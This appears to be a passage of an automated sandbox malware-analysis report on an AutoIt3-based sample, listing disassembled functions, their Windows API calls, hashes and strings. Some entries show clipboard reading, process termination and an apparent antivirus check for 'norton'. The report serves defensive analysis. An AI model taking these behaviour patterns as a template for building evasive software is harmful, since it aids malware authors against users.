GetCurrentThreadId.KERNEL32 ref: 03B7A42E

Part of subcall function 03B7A3C8: ResetEvent.KERNEL32(00000260,03B7A469), ref: 03B7A3CE

RtlEnterCriticalSection.NTDLL(03BC28C4), ref: 03B7A473
InterlockedExchange.KERNEL32(03BBF444,?), ref: 03B7A48F
RtlLeaveCriticalSection.NTDLL(03BC28C4), ref: 03B7A4E8
RtlEnterCriticalSection.NTDLL(03BC28C4), ref: 03B7A547

Memory Dump Source

Source File: 00000009.00000002.1966048662.0000000003B61000.00000040.00001000.00020000.00000000.sdmp, Offset: 03B61000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3b61000_Autoit3.jbxd

Yara matches

Similarity

API ID: CriticalSection$CurrentEnterThread$EventExchangeInterlockedLeaveReset
String ID:
API String ID: 2189153385-0
Opcode ID: 04bbe98b0cbede02c7e9a5e398341c5b6c4559d534e800c2bd62fadf85ed2771
Instruction ID: f4ec5ab9bcdc60b638441345f401eb034d7ba26a5719f794c4ed809b8a66dcdc
Opcode Fuzzy Hash: 04bbe98b0cbede02c7e9a5e398341c5b6c4559d534e800c2bd62fadf85ed2771
Instruction Fuzzy Hash: 8931F034A04744AFD751EF64CC51A6EBBF8EB49B08F5184F5E820DB762C7799A00CA60

Function 03B87F64 Relevance: 9.1, APIs: 6, Instructions: 106filewindowCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 03B87F80
MessageBoxA.USER32(00000000,03B8809C,03B88098,00000000), ref: 03B87F9A
GetFileSize.KERNEL32(00000000,00000000,00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 03B87FA2
ReadFile.KERNEL32(00000000,00000000,00000003,00000003,00000000,00000000,00000000,00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 03B87FC4
MessageBoxA.USER32(00000000,03B880A0,03B88098,00000000), ref: 03B87FDB
CloseHandle.KERNEL32(00000000,00000000,00000000,00000003,00000003,00000000,00000000,00000000,00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 03B88085

Memory Dump Source

Source File: 00000009.00000002.1966048662.0000000003B61000.00000040.00001000.00020000.00000000.sdmp, Offset: 03B61000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3b61000_Autoit3.jbxd

Yara matches

Similarity

API ID: File$Message$CloseCreateHandleReadSize
String ID:
API String ID: 2324011479-0
Opcode ID: db7ce920bb663b1c95b47e32fedf28cfca55e52575b4987c814f730101fa13b9
Instruction ID: 8632dfcdd0a71ed4dc0986f06509e4172257c6c2d8baa9da2d46351c9300df21
Opcode Fuzzy Hash: db7ce920bb663b1c95b47e32fedf28cfca55e52575b4987c814f730101fa13b9
Instruction Fuzzy Hash: 5C311A79744304AFD314EF29CC81F1EB3E5EF88655F5089A8B998DB392C674E8058B91

Function 03B98BE4 Relevance: 9.1, APIs: 6, Instructions: 84COMMON

Download Yara Rule

APIs

GetSystemMetrics.USER32(0000000B), ref: 03B98C32
GetSystemMetrics.USER32(0000000C), ref: 03B98C3E
GetDC.USER32(00000000), ref: 03B98C5A
GetDeviceCaps.GDI32(00000000,0000000E), ref: 03B98C81
GetDeviceCaps.GDI32(00000000,0000000C), ref: 03B98C8E
ReleaseDC.USER32(00000000,00000000), ref: 03B98CC7

Memory Dump Source

Source File: 00000009.00000002.1966048662.0000000003B61000.00000040.00001000.00020000.00000000.sdmp, Offset: 03B61000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3b61000_Autoit3.jbxd

Yara matches

Similarity

API ID: CapsDeviceMetricsSystem$Release
String ID:
API String ID: 447804332-0
Opcode ID: 19f45a6a0ad26f971ad9c539175feaaecc9f5e3ba45cf3bc0deabf275652321f
Instruction ID: 9059b1fc786562e6f3de0ffcc83144d776f052fb47db33351f75b4af9406e171
Opcode Fuzzy Hash: 19f45a6a0ad26f971ad9c539175feaaecc9f5e3ba45cf3bc0deabf275652321f
Instruction Fuzzy Hash: 35312F74A00348EFEF00EFA4C981AAEBBF5FB4A714F1485B5E518EB351C6749940CB61

Function 03B7A888 Relevance: 9.1, APIs: 6, Instructions: 73synchronizationthreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 03B7A892
CreateEventA.KERNEL32(00000000,000000FF,00000000,00000000), ref: 03B7A8B7
RtlEnterCriticalSection.NTDLL(03BC28C4), ref: 03B7A8D2
RtlLeaveCriticalSection.NTDLL(03BC28C4), ref: 03B7A937
WaitForSingleObject.KERNEL32(?,000000FF,00000000,03B7A96D,?,03BC28C4,00000000,03B7A98C,?,03BC28C4,00000000,03B7A9AA,?,00000000,000000FF,00000000), ref: 03B7A950
RtlEnterCriticalSection.NTDLL(03BC28C4), ref: 03B7A967

Memory Dump Source

Source File: 00000009.00000002.1966048662.0000000003B61000.00000040.00001000.00020000.00000000.sdmp, Offset: 03B61000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3b61000_Autoit3.jbxd

Yara matches

Similarity

API ID: CriticalSection$Enter$CreateCurrentEventLeaveObjectSingleThreadWait
String ID:
API String ID: 1504017990-0
Opcode ID: 265170b179143de523c8c8007c3dd287cdfbf1f758fb8ecca69cf84e81298975
Instruction ID: 41a677d416d48845e3779ab66171b15de75373cc9e3fd68b89b8485b29c47477
Opcode Fuzzy Hash: 265170b179143de523c8c8007c3dd287cdfbf1f758fb8ecca69cf84e81298975
Instruction Fuzzy Hash: 2921D034A04744AFCB11FF64CD51A2DB7B8FB0971CF5145F1E8209BBA2DAB49D10CA60

Function 03B61C40 Relevance: 9.1, APIs: 6, Instructions: 72COMMON

Download Yara Rule

APIs

RtlEnterCriticalSection.NTDLL(03BC25CC), ref: 03B61C6F
LocalFree.KERNEL32(00F32528,00000000,03B61D34), ref: 03B61C81
VirtualFree.KERNEL32(?,00000000,00008000,00F32528,00000000,03B61D34), ref: 03B61CA5
LocalFree.KERNEL32(00000000,?,00000000,00008000,00F32528,00000000,03B61D34), ref: 03B61CF6
RtlLeaveCriticalSection.NTDLL(03BC25CC), ref: 03B61D24
RtlDeleteCriticalSection.NTDLL(03BC25CC), ref: 03B61D2E

Memory Dump Source

Source File: 00000009.00000002.1966048662.0000000003B61000.00000040.00001000.00020000.00000000.sdmp, Offset: 03B61000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3b61000_Autoit3.jbxd

Yara matches

Similarity

API ID: CriticalFreeSection$Local$DeleteEnterLeaveVirtual
String ID:
API String ID: 3782394904-0
Opcode ID: bcffaeadc1eb1b5e980ffc59f24c2d18051cae2db30606d31d1d0c9c1b9bd2b4
Instruction ID: b05e31f777cbd9026e4a6224caa9fb585f8b067c696a482ce4a2f046c9015ed3
Opcode Fuzzy Hash: bcffaeadc1eb1b5e980ffc59f24c2d18051cae2db30606d31d1d0c9c1b9bd2b4
Instruction Fuzzy Hash: A1214878A10384AFDB25EBACDA55B4D77E4E70D20CF5448F6E400DFA93D6789A40DB20

Function 00F1AE61 Relevance: 9.1, APIs: 6, Instructions: 72COMMON

Download Yara Rule

APIs

RtlEnterCriticalSection.NTDLL(00F2497D), ref: 00F1AE90
LocalFree.KERNEL32(00F30ED8,00000000,00F1AF55), ref: 00F1AEA2
VirtualFree.KERNEL32(?,00000000,00008000,00F30ED8,00000000,00F1AF55), ref: 00F1AEC6
LocalFree.KERNEL32(00000000,?,00000000,00008000,00F30ED8,00000000,00F1AF55), ref: 00F1AF17
RtlLeaveCriticalSection.NTDLL(00F2497D), ref: 00F1AF45
RtlDeleteCriticalSection.NTDLL(00F2497D), ref: 00F1AF4F

Memory Dump Source

Source File: 00000009.00000002.1964905533.0000000000F17000.00000040.00000020.00020000.00000000.sdmp, Offset: 00F17000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_f17000_Autoit3.jbxd

Similarity

API ID: CriticalFreeSection$Local$DeleteEnterLeaveVirtual
String ID:
API String ID: 3782394904-0
Opcode ID: 592d1ebbe39de49e85c844dfe59f293e4779b24ad5cc9672f055679ce155af97
Instruction ID: a4a88b6d8a27a71b3312b6607411dab41d1ba3cc08e5d1a24980b46b666b0f16
Opcode Fuzzy Hash: 592d1ebbe39de49e85c844dfe59f293e4779b24ad5cc9672f055679ce155af97
Instruction Fuzzy Hash: EC215EB4A06208EFD721EBA8E846B9A77F4E709324F144095F004D7291D7B4B9D1FB13

Function 03B99068 Relevance: 9.1, APIs: 6, Instructions: 65windowCOMMON

Download Yara Rule

APIs

Part of subcall function 03B98F20: GetObjectA.GDI32(?,00000054), ref: 03B98F34

CreateCompatibleDC.GDI32(00000000), ref: 03B9908A
SelectPalette.GDI32(?,?,00000000), ref: 03B990AB
RealizePalette.GDI32(?), ref: 03B990B7
GetDIBits.GDI32(?,?,00000000,?,?,?,00000000), ref: 03B990CE
SelectPalette.GDI32(?,00000000,00000000), ref: 03B990F6
DeleteDC.GDI32(?), ref: 03B990FF

Memory Dump Source

Source File: 00000009.00000002.1966048662.0000000003B61000.00000040.00001000.00020000.00000000.sdmp, Offset: 03B61000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3b61000_Autoit3.jbxd

Yara matches

Similarity

API ID: Palette$Select$BitsCompatibleCreateDeleteObjectRealize
String ID:
API String ID: 1221726059-0
Opcode ID: 956d0e9f502666ffce307dd51a44e6256baf43f4d7febe559398362f85bebdf0
Instruction ID: cb75cabea4ff71fafdd9828311d4d40b6fada1afa99706f8ffd41e857b657151
Opcode Fuzzy Hash: 956d0e9f502666ffce307dd51a44e6256baf43f4d7febe559398362f85bebdf0
Instruction Fuzzy Hash: 31118275B04304BFEB10DBA88C41F5EB7FCEB49604F1544B5B514EB241D67899008BA0

Function 03B9888C Relevance: 9.1, APIs: 6, Instructions: 55windowCOMMON

Download Yara Rule

APIs

CreateCompatibleDC.GDI32(00000000), ref: 03B988A5
SelectObject.GDI32(00000000,00000000), ref: 03B988AE
GetDIBColorTable.GDI32(00000000,00000000,00000100,?,00000000,00000000,00000000,00000000,?,?,03B9C3AF,?,?,?,?,03B9AF1B), ref: 03B988C2
SelectObject.GDI32(00000000,00000000), ref: 03B988CE
DeleteDC.GDI32(00000000), ref: 03B988D4
CreatePalette.GDI32 ref: 03B9891A

Memory Dump Source

Source File: 00000009.00000002.1966048662.0000000003B61000.00000040.00001000.00020000.00000000.sdmp, Offset: 03B61000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3b61000_Autoit3.jbxd

Yara matches

Similarity

API ID: CreateObjectSelect$ColorCompatibleDeletePaletteTable
String ID:
API String ID: 2515223848-0
Opcode ID: 3990c346b5572951f18f8f721544f0437cd12e36d04ce9cef2cbc1842d10046c
Instruction ID: b1e40960cb68441ef7a8cf2558f2ed86de7578492250544f4f43199a5337c444
Opcode Fuzzy Hash: 3990c346b5572951f18f8f721544f0437cd12e36d04ce9cef2cbc1842d10046c
Instruction Fuzzy Hash: 0601926520831472EA14F7698C42F6B73ACDFC171CF08D8BAB588DF181E67C880483A2

Function 0089C329 Relevance: 9.0, APIs: 6, Instructions: 49COMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 0089C34E
GetDeviceCaps.GDI32(00000000,00000058), ref: 0089C35F
GetDeviceCaps.GDI32(00000000,0000005A), ref: 0089C366
ReleaseDC.USER32(00000000,00000000), ref: 0089C36E
MulDiv.KERNEL32(000009EC,?,00000000), ref: 0089C385
MulDiv.KERNEL32(000009EC,?,?), ref: 0089C397

Memory Dump Source

Source File: 00000009.00000002.1964486435.0000000000841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00840000, based on PE: true

Associated: 00000009.00000002.1964462457.0000000000840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964613673.0000000000900000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964639195.0000000000909000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_840000_Autoit3.jbxd

Similarity

API ID: CapsDevice$Release
String ID:
API String ID: 1035833867-0
Opcode ID: 1398fb299a57d7d97e1b6496573d201682b134474700fb9dcfca014a934556a5
Instruction ID: b39ccfc76c1d0fadeef71a67900960b0ff3a0c09e63f2412c1a69373ca0e86c9
Opcode Fuzzy Hash: 1398fb299a57d7d97e1b6496573d201682b134474700fb9dcfca014a934556a5
Instruction Fuzzy Hash: 53018471E41308BBEF109BA59C49B5EBFB8FB48321F044166FA04E7280D6319C10CFA0

Function 008CC552 Relevance: 9.0, APIs: 6, Instructions: 49COMMON

Download Yara Rule

APIs

Part of subcall function 008416CF: ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,00000000), ref: 00841729
Part of subcall function 008416CF: SelectObject.GDI32(?,00000000), ref: 00841738
Part of subcall function 008416CF: BeginPath.GDI32(?), ref: 0084174F
Part of subcall function 008416CF: SelectObject.GDI32(?,00000000), ref: 00841778

MoveToEx.GDI32(00000000,-00000002,?,00000000), ref: 008CC57C
LineTo.GDI32(00000000,00000003,?), ref: 008CC590
MoveToEx.GDI32(00000000,00000000,?,00000000), ref: 008CC59E
LineTo.GDI32(00000000,00000000,?), ref: 008CC5AE
EndPath.GDI32(00000000), ref: 008CC5BE
StrokePath.GDI32(00000000), ref: 008CC5CE

Memory Dump Source

Source File: 00000009.00000002.1964486435.0000000000841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00840000, based on PE: true

Associated: 00000009.00000002.1964462457.0000000000840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964613673.0000000000900000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964639195.0000000000909000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_840000_Autoit3.jbxd

Similarity

API ID: Path$LineMoveObjectSelect$BeginCreateStroke
String ID:
API String ID: 43455801-0
Opcode ID: fa119bc5c41611a6654121b6155ca5c7f3d89a36ccb2b237de9f476997e5852d
Instruction ID: ff20ef299810e3f0e25fec269f80897631c97afbcffeb47f833d2bfd19a39d00
Opcode Fuzzy Hash: fa119bc5c41611a6654121b6155ca5c7f3d89a36ccb2b237de9f476997e5852d
Instruction Fuzzy Hash: 7D11F77240410DBFDF029F90DC88FAA7FADFB08364F048126BA589A160D771AE55DFA0

Function 03B7C9B0 Relevance: 9.0, APIs: 6, Instructions: 44clipboardCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32(00000000), ref: 03B7C9BA
GetClipboardData.USER32(00000001), ref: 03B7C9C5
GlobalLock.KERNEL32(00000000), ref: 03B7C9D1
GlobalSize.KERNEL32(00000000), ref: 03B7C9E0
GlobalUnlock.KERNEL32(00000000), ref: 03B7CA0B
CloseClipboard.USER32 ref: 03B7CA10

Memory Dump Source

Source File: 00000009.00000002.1966048662.0000000003B61000.00000040.00001000.00020000.00000000.sdmp, Offset: 03B61000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3b61000_Autoit3.jbxd

Yara matches

Similarity

API ID: ClipboardGlobal$CloseDataLockOpenSizeUnlock
String ID:
API String ID: 1964585863-0
Opcode ID: 878a0adc538742794cf6ea7bc97e7d5da374b17cb9e784dce4eaa8f2e0aadc29
Instruction ID: a98493ec3f5b4f37fc088fcd559f7129293268e231665875850551940232f418
Opcode Fuzzy Hash: 878a0adc538742794cf6ea7bc97e7d5da374b17cb9e784dce4eaa8f2e0aadc29
Instruction Fuzzy Hash: B0F0B436705B641BD311F6798844B6FE799CF856DDF0905B8E480EF286DA6CCC0183E1

Function 008607BB Relevance: 9.0, APIs: 6, Instructions: 44keyboardCOMMON

Download Yara Rule

APIs

MapVirtualKeyW.USER32(0000005B,00000000), ref: 008607EC
MapVirtualKeyW.USER32(00000010,00000000), ref: 008607F4
MapVirtualKeyW.USER32(000000A0,00000000), ref: 008607FF
MapVirtualKeyW.USER32(000000A1,00000000), ref: 0086080A
MapVirtualKeyW.USER32(00000011,00000000), ref: 00860812
MapVirtualKeyW.USER32(00000012,00000000), ref: 0086081A

Memory Dump Source

Source File: 00000009.00000002.1964486435.0000000000841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00840000, based on PE: true

Associated: 00000009.00000002.1964462457.0000000000840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964613673.0000000000900000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964639195.0000000000909000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_840000_Autoit3.jbxd

Similarity

API ID: Virtual
String ID:
API String ID: 4278518827-0
Opcode ID: 56de9cfdff885b59b177129138efb7f20bf1dffdace724dfe3a940ae295971ee
Instruction ID: ea29c53e6238c9a8754aeb86c5fe63d14b5ef07cf4c3141d8e6edb8d43f626fe
Opcode Fuzzy Hash: 56de9cfdff885b59b177129138efb7f20bf1dffdace724dfe3a940ae295971ee
Instruction Fuzzy Hash: 25016CB09027597DE3008F5A8C85B52FFA8FF59354F00411BA15C47941C7F5A864CFE5

Function 03B97F64 Relevance: 9.0, APIs: 6, Instructions: 43COMMON

Download Yara Rule

APIs

Part of subcall function 03B979B0: CreateBrushIndirect.GDI32(?), ref: 03B97A5A

UnrealizeObject.GDI32(00000000), ref: 03B97F70
SelectObject.GDI32(00000000,00000000), ref: 03B97F82
SetBkColor.GDI32(00000000,00000000), ref: 03B97FA5
SetBkMode.GDI32(00000000,00000002), ref: 03B97FB0
SetBkColor.GDI32(00000000,00000000), ref: 03B97FCB
SetBkMode.GDI32(00000000,00000001), ref: 03B97FD6

Part of subcall function 03B96DEC: GetSysColor.USER32(?), ref: 03B96DF6

Memory Dump Source

Source File: 00000009.00000002.1966048662.0000000003B61000.00000040.00001000.00020000.00000000.sdmp, Offset: 03B61000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3b61000_Autoit3.jbxd

Yara matches

Similarity

API ID: Color$ModeObject$BrushCreateIndirectSelectUnrealize
String ID:
API String ID: 3527656728-0
Opcode ID: 426f709124fd5d0a932629c5e4915f4d438ea951d22d9305557e61a4707b4b61
Instruction ID: d07384733068bf4bb0fc548502041fb744450737f70ecb2b5636a31aa536599e
Opcode Fuzzy Hash: 426f709124fd5d0a932629c5e4915f4d438ea951d22d9305557e61a4707b4b61
Instruction Fuzzy Hash: E3F054B9651700ABEE04FFB8DAC6F1A6B9C9F04209B4444F1B908EF157CA69E8104771

Function 03B66539 Relevance: 9.0, APIs: 6, Instructions: 41threadCOMMON

Download Yara Rule

APIs

Part of subcall function 03B63468: GetKeyboardType.USER32(00000000), ref: 03B6346D
Part of subcall function 03B63468: GetKeyboardType.USER32(00000001), ref: 03B63479

GetCommandLineA.KERNEL32 ref: 03B6659F
GetVersion.KERNEL32 ref: 03B665B3
GetVersion.KERNEL32 ref: 03B665C4
GetCurrentThreadId.KERNEL32 ref: 03B66600

Part of subcall function 03B63498: RegOpenKeyExA.ADVAPI32(80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 03B634BA
Part of subcall function 03B63498: RegQueryValueExA.ADVAPI32(?,FPUMaskValue,00000000,00000000,?,00000004,00000000,03B63509,?,80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 03B634ED
Part of subcall function 03B63498: RegCloseKey.ADVAPI32(?,03B63510,00000000,?,00000004,00000000,03B63509,?,80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 03B63503

GetThreadLocale.KERNEL32 ref: 03B665E0

Part of subcall function 03B66470: GetLocaleInfoA.KERNEL32(?,00001004,?,00000007,00000000,03B664D6), ref: 03B66496

Memory Dump Source

Source File: 00000009.00000002.1966048662.0000000003B61000.00000040.00001000.00020000.00000000.sdmp, Offset: 03B61000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3b61000_Autoit3.jbxd

Yara matches

Similarity

API ID: KeyboardLocaleThreadTypeVersion$CloseCommandCurrentInfoLineOpenQueryValue
String ID:
API String ID: 3734044017-0
Opcode ID: 4fdc88af94842acf1df67d78637c5880337fcc36602e37b74196913ad1e28e80
Instruction ID: 37162bd649d5c41a1b4ce17dcaa14d93e64aa5b10833603da0f8ea937abbf69f
Opcode Fuzzy Hash: 4fdc88af94842acf1df67d78637c5880337fcc36602e37b74196913ad1e28e80
Instruction Fuzzy Hash: CA01E1ADC653458ADF35FF68A6143593BA0BB5920CF0448FAC145CF65BEB7C4104CBAA

Function 00F1E216 Relevance: 9.0, APIs: 6, Instructions: 41threadCOMMON

Download Yara Rule

APIs

Part of subcall function 00F1C461: GetKeyboardType.USER32(00000000), ref: 00F1C466
Part of subcall function 00F1C461: GetKeyboardType.USER32(00000001), ref: 00F1C472

GetCommandLineA.KERNEL32 ref: 00F1E27C
GetVersion.KERNEL32 ref: 00F1E290
GetVersion.KERNEL32 ref: 00F1E2A1
GetCurrentThreadId.KERNEL32 ref: 00F1E2DD

Part of subcall function 00F1C491: RegOpenKeyExA.ADVAPI32(80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 00F1C4B3
Part of subcall function 00F1C491: RegQueryValueExA.ADVAPI32(?,FPUMaskValue,00000000,00000000,?,00000004,00000000,00F1C502,?,80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 00F1C4E6
Part of subcall function 00F1C491: RegCloseKey.ADVAPI32(?,00F1C509,00000000,?,00000004,00000000,00F1C502,?,80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 00F1C4FC

GetThreadLocale.KERNEL32 ref: 00F1E2BD

Part of subcall function 00F1E14D: GetLocaleInfoA.KERNEL32(?,00001004,?,00000007,00000000,00F1E1B3), ref: 00F1E173

Memory Dump Source

Source File: 00000009.00000002.1964905533.0000000000F17000.00000040.00000020.00020000.00000000.sdmp, Offset: 00F17000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_f17000_Autoit3.jbxd

Similarity

API ID: KeyboardLocaleThreadTypeVersion$CloseCommandCurrentInfoLineOpenQueryValue
String ID:
API String ID: 3734044017-0
Opcode ID: a89d68aee8be7838440be107e9b711cae4fb074ebb3ee3085f7143034d6ef15d
Instruction ID: 12d6764b10eb497d09d7d49b77460082b2a945b34ed5d94b36c647a7117b9ba2
Opcode Fuzzy Hash: a89d68aee8be7838440be107e9b711cae4fb074ebb3ee3085f7143034d6ef15d
Instruction Fuzzy Hash: 62012DB584A3558AE721FFB0AC1A3D83AA2AF11304F480419E86186367DBFC54C6BB57

Function 008B8CD7 Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 225COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 008B8CFD
CharUpperBuffW.USER32(?,?), ref: 008B8E0C
VariantClear.OLEAUT32(?), ref: 008B8F84

Part of subcall function 008A7B1D: VariantInit.OLEAUT32(00000000), ref: 008A7B5D
Part of subcall function 008A7B1D: VariantCopy.OLEAUT32(00000000,?), ref: 008A7B66
Part of subcall function 008A7B1D: VariantClear.OLEAUT32(00000000), ref: 008A7B72

Strings

AUTOIT.ERROR, xrefs: 008B8E12
Incorrect Parameter format, xrefs: 008B8D35, 008B8EF7

Memory Dump Source

Source File: 00000009.00000002.1964486435.0000000000841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00840000, based on PE: true

Associated: 00000009.00000002.1964462457.0000000000840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964613673.0000000000900000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964639195.0000000000909000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_840000_Autoit3.jbxd

Similarity

API ID: Variant$ClearInit$BuffCharCopyUpper
String ID: AUTOIT.ERROR$Incorrect Parameter format
API String ID: 4237274167-1221869570
Opcode ID: e588ab23b35a81c117df81c83e8b2795e8176bbe412b961af922841461493f4d
Instruction ID: 49e264985ef93b076e7d14bcaf45b794bcb627b92b1963c47f7415c0c35425b2
Opcode Fuzzy Hash: e588ab23b35a81c117df81c83e8b2795e8176bbe412b961af922841461493f4d
Instruction Fuzzy Hash: 629147746043059FC700DF28C4849AABBE9FF89354F14896EF899CB3A2DB31E905CB52

Function 03B8DFB8 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 149COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(001F0FFF,00000000,?), ref: 03B8E06F
GetCurrentProcessId.KERNEL32(001F0FFF,00000000,?), ref: 03B8E09C
CloseHandle.KERNEL32(?), ref: 03B8E177

Strings

IsWow64Process, xrefs: 03B8E01A
norton, xrefs: 03B8E109

Memory Dump Source

Source File: 00000009.00000002.1966048662.0000000003B61000.00000040.00001000.00020000.00000000.sdmp, Offset: 03B61000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3b61000_Autoit3.jbxd

Yara matches

Similarity

API ID: Process$CloseCurrentHandleOpen
String ID: IsWow64Process$norton
API String ID: 2750122171-2964445548
Opcode ID: a732cce8ccdd523cb619fa952a0167dccf23999ac4114e8fe6cf8be1000484b6
Instruction ID: 5d907724750b5e302fdd9af18aa2fc0387cb4ff96641554adb72aae373837408
Opcode Fuzzy Hash: a732cce8ccdd523cb619fa952a0167dccf23999ac4114e8fe6cf8be1000484b6
Instruction Fuzzy Hash: CC51F674A006599FDB60EF68C888B9EB7B5EF88308F1084F5D418AB251EB74DE85CF51

Function 03B9CEE8 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 113windowCOMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 03B9CFA5
CreateHalftonePalette.GDI32(00000000,00000000), ref: 03B9CFB2
ReleaseDC.USER32(00000000,00000000), ref: 03B9CFC1
DeleteObject.GDI32(00000000), ref: 03B9D02F

Strings

(, xrefs: 03B9CF5B

Memory Dump Source

Source File: 00000009.00000002.1966048662.0000000003B61000.00000040.00001000.00020000.00000000.sdmp, Offset: 03B61000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3b61000_Autoit3.jbxd

Yara matches

Similarity

API ID: CreateDeleteHalftoneObjectPaletteRelease
String ID: (
API String ID: 577518360-3887548279
Opcode ID: 23f1cc21640305818cfc18fc64f0fc8797d68f87b14f33e235b43230447f8389
Instruction ID: cc6ea93026b8fb8e5793793cb9f24e14bc321221f573c0d4529ce8d82e1124b8
Opcode Fuzzy Hash: 23f1cc21640305818cfc18fc64f0fc8797d68f87b14f33e235b43230447f8389
Instruction Fuzzy Hash: 41416C74A04208EFEF10DFA9C455B9EFBF6EF49308F0540FAE408AB255D6759A49CB90

Function 03BB9318 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 105sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(0000000A,00000001,00000000,00000000,03BB9454), ref: 03BB93CC
OpenProcess.KERNEL32(00000001,00000000,00000000,00000000), ref: 03BB9426
TerminateProcess.KERNEL32(00000000,00000001,00000000,00000000,00000000), ref: 03BB942C

Strings

SysListView32, xrefs: 03BB93E3
cmd.exe , xrefs: 03BB9373

Memory Dump Source

Source File: 00000009.00000002.1966048662.0000000003B61000.00000040.00001000.00020000.00000000.sdmp, Offset: 03B61000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3b61000_Autoit3.jbxd

Yara matches

Similarity

API ID: Process$OpenSleepTerminate
String ID: SysListView32$cmd.exe
API String ID: 3651790450-1829564397
Opcode ID: a8c53f823f48b3de7866d4bb23e9266fff02f96b6f45463417a0c4bf377ca65a
Instruction ID: d40e71929a10ec4a579b79b5abc120d4770ac680f399a1b704e295801c4ef27e
Opcode Fuzzy Hash: a8c53f823f48b3de7866d4bb23e9266fff02f96b6f45463417a0c4bf377ca65a
Instruction Fuzzy Hash: 26313034B00748ABDB10EFA5C880BADB3B4EB89718F5084F5E914DF252DFB89E058654

Function 008C6A0C Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 80windowlibraryCOMMON

Download Yara Rule

APIs

Part of subcall function 00842111: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 0084214F
Part of subcall function 00842111: GetStockObject.GDI32(00000011), ref: 00842163
Part of subcall function 00842111: SendMessageW.USER32(00000000,00000030,00000000), ref: 0084216D

SendMessageW.USER32(00000000,00000467,00000000,?), ref: 008C6A86
LoadLibraryW.KERNEL32(?), ref: 008C6A8D
SendMessageW.USER32(?,00000467,00000000,00000000), ref: 008C6AA2
DestroyWindow.USER32(?), ref: 008C6AAA

Strings

SysAnimate32, xrefs: 008C6A61

